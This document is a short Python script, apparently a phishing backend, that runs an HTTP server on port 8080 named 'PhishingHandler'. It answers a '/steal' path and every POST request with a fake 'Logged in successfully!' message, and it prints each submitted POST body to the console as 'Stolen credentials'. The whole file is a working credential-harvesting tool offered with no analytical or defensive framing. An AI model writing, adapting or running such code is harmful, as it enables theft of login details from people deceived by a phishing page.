import http.server  
import socketserver  

class PhishingHandler(http.server.SimpleHTTPRequestHandler):  
    def do_GET(self):  
        if self.path == "/steal":  
            self.send_response(200)  
            self.end_headers()  
            self.wfile.write(b"Logged in successfully!")  
        else:  
            super().do_GET()  

    def do_POST(self):  
        content_length = int(self.headers["Content-Length"])  
        post_data = self.rfile.read(content_length).decode()  
        print("Stolen credentials:", post_data)  
        self.send_response(200)  
        self.end_headers()  
        self.wfile.write(b"Logged in successfully!")  

PORT = 8080  
with socketserver.TCPServer(("", PORT), PhishingHandler) as httpd:  
    print("Server running on port", PORT)  
    httpd.serve_forever()  